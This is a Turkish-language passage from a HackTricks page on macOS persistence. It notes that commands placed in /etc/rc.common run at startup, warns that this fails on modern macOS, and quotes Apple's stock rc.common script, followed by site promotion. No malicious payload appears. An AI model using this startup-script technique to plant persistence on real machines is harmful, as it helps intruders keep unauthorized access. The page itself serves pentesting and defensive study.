Açıklama ve sömürü
Bu betiği çalıştırmak pek yaygın değil gibi görünüyor ve macOS'ta bile bulamadım, bu yüzden daha fazla bilgi istiyorsanız yazıya bakın.
/etc/rc.common
{% hint style="danger" %} Bu modern MacOS sürümlerinde çalışmıyor {% endhint %}
Ayrıca buraya başlangıçta çalıştırılacak komutlar yerleştirmek mümkündür. Örnek düzenli rc.common betiği:
#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#
######################
# Configure the shell #
######################
#
# Be strict
#
#set -e
set -u
#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH
#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
# TERM=$(tset - -Q); export TERM
#fi
###################
# Useful functions #
###################
#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
local test
if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
}
alias ConsoleMessage=echo
#
# Process management
#
GetPID ()
{
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local pid=""
if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi
if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
}
#
# Generic action handler
#
RunService ()
{
case $1 in
start ) StartService ;;
stop ) StopService ;;
restart) RestartService ;;
* ) echo "$0: unknown argument: $1";;
esac
}
Kalıcılık teknikleri ve araçları
AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuz
- Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @carlospolopm'da takip edin.
- Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.